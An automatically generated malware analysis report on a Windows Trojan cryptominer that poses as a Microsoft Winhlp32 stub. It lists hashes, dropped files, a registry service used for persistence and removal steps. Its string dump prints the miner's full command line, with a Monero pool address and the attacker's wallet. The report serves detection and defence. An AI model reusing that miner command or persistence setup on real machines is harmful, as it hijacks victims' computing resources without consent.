Trojan.Win32.Miner.ays (Kaspersky), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: feb553e293ec4fda92a8991683945aea
SHA1: 4af88b2ea5ab36b94e327a3c40d0b9cac99e4657
SHA256: 46dba6ebb695434d7994f5531134a29b70b7186f8b043dbfce7c8201a0e9f499
SSDeep: 98304:2esNqIUciP gBgFVsw9lYAA59SciZgcUv73FG2:IxUcvA59ziZgcULFG
Size: 3739648 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PolyEnE001byLennartHedlund, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2016-03-23 13:06:07
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
srvany.exe:484
%original file name%.exe:852
The Trojan injects its code into the following process(es):
Systmsi.exe:168
Mutexes
The following mutexes were created/opened:
ShimCacheMutex
File activity
The process %original file name%.exe:852 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Systmsi.exe (7972 bytes)
%System%\srvany.exe (8 bytes)
Registry activity
The process srvany.exe:484 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E6 79 95 64 02 79 97 09 33 ED 34 24 1A 8B B2 B7"
The process %original file name%.exe:852 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D4 18 D9 E4 A1 01 18 AD 3D B6 71 0D 63 23 B9 7B"
[HKLM\System\CurrentControlSet\Services\Mmservess\Parameters]
"Application" = "c:\windows\svchoss.exe"
"AppDirectory" = "c:\windows\"
The process Systmsi.exe:168 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A 1A FA 39 60 11 8E 39 94 83 FC 6F A6 C9 56 A9"
Dropped PE files
MD5 | File path |
---|---|
3afeb8e9af02a33ff71bf2f6751cae3a | c:\WINDOWS\Systmsi.exe |
4635935fc972c582632bf45c26bfcb0e | c:\WINDOWS\system32\srvany.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
srvany.exe:484
%original file name%.exe:852 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\Systmsi.exe (7972 bytes)
%System%\srvany.exe (8 bytes) - Reboot the computer.
Static Analysis
VersionInfo
Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 6.1.7600.16385
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: WINHLP32.EXE
Internal Name: WINHSTB
File Version: 6.1.7600.16385 (win7_rtm.090713-1255)
File Description: Windows Winhlp32 Stub
Comments:
Language: Language Neutral
Company Name: Microsoft CorporationProduct Name: HD Player Product Version: 6.1.7600.16385Legal Copyright: (c) Microsoft Corporation. All rights reserved.Legal Trademarks: Original Filename: WINHLP32.EXEInternal Name: WINHSTBFile Version: 6.1.7600.16385 (win7_rtm.090713-1255)File Description: Windows Winhlp32 StubComments: Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 548250 | 548864 | 4.55263 | d9d5d1a6de71783dd97e9f63c4d2eda5 |
.rdata | 552960 | 3088150 | 3088384 | 5.49628 | ef661e90226b3cd742cc5c54ffeacda4 |
.data | 3641344 | 162376 | 73728 | 3.48987 | 43e9c7f7ae3791d02e17d4871afa86e6 |
.rsrc | 3805184 | 24576 | 24576 | 3.00864 | a3bf26fe709435d26c129d82b7ea573e |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_852:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t$(SSh
t$(SSh
u.htEx
u.htEx
~%UVW
~%UVW
u$SShe
u$SShe
kernel32.dll
kernel32.dll
user32.dll
user32.dll
advapi32.dll
advapi32.dll
Advapi32.dll
Advapi32.dll
Kernel32.dll
Kernel32.dll
ADVAPI32.DLL
ADVAPI32.DLL
EnumWindows
EnumWindows
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
GetServiceKeyNameA
GetServiceKeyNameA
Systmsi.exe
Systmsi.exe
Systmsi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1
Systmsi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1
Systmssi.exe
Systmssi.exe
Systmssi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1
Systmssi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1
.pdata
.pdata
@.tls
@.tls
.vmp0
.vmp0
.vmp1
.vmp1
.reloc
.reloc
@.rsrc
@.rsrc
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USER32.dll
USER32.dll
E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb
E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb
true
true
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